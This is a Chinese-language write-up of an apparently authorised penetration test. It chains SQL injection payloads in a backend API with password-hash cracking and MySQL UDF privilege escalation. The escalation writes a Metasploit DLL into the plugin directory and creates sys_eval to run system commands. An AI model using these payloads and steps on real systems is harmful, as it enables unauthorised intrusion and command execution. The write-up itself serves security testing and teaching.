前言

在一次对某授权的平台服务渗透过程中发现网页调用接口存在SQL注入漏洞、所对应MySQL数据库存在相关用户弱口令及UDF提权漏洞,并成功利用UDF提权漏洞实现对内网服务的渗透,下面是渗透记录过程,部分内容会做模糊处理。

后台接口SQL注入

前面的渗透已成功进入了某系统平台后台,下面是直接基于在某平台后台后展开概述。

1、开启BurpSuite对其数据流量进行监听,在平台后台浏览过程中发现存在接口调用,遂对其接口进行相关测试。先随意在POST传参的数据里将搜索的相关数据使用'闭合测试,发现返回了数据库语句错误信息,如下图:

image-20211204141129772

2、进一步对相关数据进行闭合测试,发现没有参数过滤及防火墙拦截。继续构造Payload,测试出SQL语句的闭合并使用Order by测试回显字段数,相关Payload如下:

Nu1L') order by 6 -- Qwer

返回结果如下:

image-20211204143405544

当字段数为6时报错,则字段数为5,且SQL语句闭合也已得知,经过简单测试发现数据库存在联合注入、布尔注入、时间盲注、报错注入。

3、获取数据库基本信息,由于回显字段为5,故直接使用一句话先获取相关数据库版本、用户、当前数据库信息,相关Payload如下:

Nu1L') union select NuLl,nUlL,version(),database(),user() -- Qwer

返回数据库基本信息如图:

image-20211204145321486

由图得知当前服务运行的数据库为tmc3db,数据库版本为10.2.32-MariaDB,数据库连接用户为xiao

MySQL数据库UDF提权

1、根据上述数据库手工注入暂且告一段落,为方便进一步获取其数据库更多权限信息,遂改用SQLmap工具进行注入,将请求的POST请求另存为文件,并在注入点处进行标记,使用SQLmap执行获取系统、账户、是否超级用户等信息,结果如下:

image-20211204150820474

得知数据库运行平台为Windows,数据库系统为MySQL,账户为xiao@%,且该账户并非超级用户。

2、由于非超级用户的操作有限,故换个方法来查看其余用户及权限并获取其余用户密码哈希,同时再去后台平台浏览发现存在相关公网服务IP,并对相关IP进行信息收集,相关结果如下:

image-20211204152120213

image-20211204152231716

发现root用户可远程主机登录且该用户具有超级用户权限,并复制密码哈希前往相关平台使用mysql5加密方式对其进行数据查询,成功获得其密码

image-20211204152629456

若查询不到也可将获得的哈希密码使用hashcat进行爆破,具体爆破所用时间视密码的复杂度,此处不具体概述。

此时对相关IP服务的扫描也有了结果,发现在一处IP上存在与该数据库版本信息相同的端口开放,如图:

image-20211204153043069

然后对其进行数据库使用root用户连接,成功连接:

image-20211204154116828

3、查看系统版本信息进行信息确认,如下:

MariaDB [mysql]> select @@version_compile_os, @@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| Win64                | x64                       |
+----------------------+---------------------------+
1 row in set (0.161 sec)

系统为Windows系统,是所对应的操作系统,系统架构为64位,再查看数据库是否有文件读写权限,如下:

MariaDB [(none)]> show variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.087 sec)

secure_file_priv为纯空,数据库可任意目录读写,尝试使用load_file函数读取一下hosts文件,如图,成功读取文件信息:

image-20211204154451546

那么也可以相应的写UDF文件进行提权。

4、先去Metasploit相关目录下获取到适用于Windows 64位系统的UDF提权相关dll文件(此处不用SQLmap的UDF相关文件,因为SQLmap的UDF相关文件为了防止被误杀都经过编码处理过,使用时需要处理一下,Metasploit中的不需要处理即可使用),查看数据库根目录、数据目录、插件目录,如下:

MariaDB [mysql]> select @@basedir,@@datadir,@@plugin_dir;
+-----------+---------------+----------------------+
| @@basedir | @@datadir     | @@plugin_dir         |
+-----------+---------------+----------------------+
| D:\MySQL\ | D:\MySQLData\ | D:\MySQL\lib\plugin\ |
+-----------+---------------+----------------------+
1 row in set (0.091 sec)

先将用于Windows下MySQL数据库UDF提权的dll文件进行十六进制编码,如图:

image-20211204174512771

接下来进行命令导出文件,此处注意导出使用dumpfile函数,而非outfile函数,因为outfile函数会对导出的文件内容会在行末写入新行,且更致命的是会存在对特殊字符转义操作,这样导出的二进制文件就会遭到破坏;而dumpfile函数则不对任何列或行进行终止,也不执行任何转义处理,此时导出的二进制文件还是完好的。

上述十六进制文件获取方法是在Linux系统中使用od命令并结合awk等命令辅助完成获取,也可以使用MySQL自带的hex函数来获取编码(前提相关MySQL数据库开启对文件可读写权限),命令如下:

# 直接传入路径
select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll'));

# 也可以将路径 hex 编码
select hex(load_file(0x2f7573722f73686172652f6d65746173706c6f69742d6672616d65776f726b2f646174612f6578706c6f6974732f6d7973716c2f6c69625f6d7973716c7564665f7379735f36342e646c6c));

下面开始命令导出,导出的方法如下:

#直接select查十六进制写入,需在十六进制数值前加0x
select 0x4d5a90... into dumpfile 'D:/MySQL/lib/plugin/udf2.dll';

#对十六进制解码写入(可不必)
select unhex('4d5a90...') into dumpfile 'D:/MySQL/lib/plugin/udf2.dll';

若在Windows系统下非MySQL读写文件权限导致的,在使用dumpfile函数写文件未成功,如图:

image-20211204185129464

在使用dumpfile时,涉及的路径应皆使用正斜杠“/”,上述在Windows系统中一开始在文件路径中使用反斜杠未成功写入文件,改用正斜杠之后测试成功写入UDF文件。又或者不存在对应插件目录也可导致无法写入文件,可借助NTFS流创建相关目录文件夹后在写入,此处不具体概述。

结果如图:

image-20211204181700116

成功导出,为确保文件成功导出到目标机,遂再使用load_file函数读取一下文件,如图:

image-20211204181808437

成功返回文件十六进制编码,文件正确写入。

5、构造自定义函数并调用命令,构造函数命令如下:

MariaDB [mysql]> create function sys_eval returns string soname 'udf2.dll';
Query OK, 0 rows affected (0.213 sec)

此处sys_eval函数可自定义,然后查看MySQL函数是否有新增函数,命令如下:

MariaDB [mysql]> select * from mysql.func;
+----------+-----+----------+----------+
| name     | ret | dl       | type     |
+----------+-----+----------+----------+
| sys_eval |   0 | udf2.dll | function |
+----------+-----+----------+----------+
1 row in set (0.184 sec)

至此成功使用自定义函数执行系统命令了,如果在 Windows 系统下的话应该就是最高权限了。

MariaDB [mysql]> select sys_eval('whoami');
+------------------------------+
| sys_eval('whoami')           |
+------------------------------+
| nt authority\network service |
+------------------------------+
1 row in set (0.171 sec)

sys_eval、sys_exec、sys_set、sys_get输出结果区别:

  • sys_get:获取特定环境变量的值
  • sys_set:设置环境变量的值。此函数接受一个名称/值对,然后将其定义为环境变量。使用 sys_get 检索此类变量的值
  • sys_exec:执行其命令字符串参数并返回其退出状态。
  • sys_eval:执行其命令字符串参数并返回其标准输出。

以Windows平台下的sys_eval与sys_exec函数执行结果如下:

MariaDB [mysql]> select sys_eval('whoami');
+------------------------------+
| sys_eval('whoami')           |
+------------------------------+
| nt authority\network service |
+------------------------------+
1 row in set (0.176 sec)

MariaDB [mysql]> select sys_exec('whoami');
+------------------------------+
| sys_exec('whoami')           |
+------------------------------+
|                         NULL |
+------------------------------+
1 row in set (0.102 sec)

6、删除自定义函数

drop function sys_eval;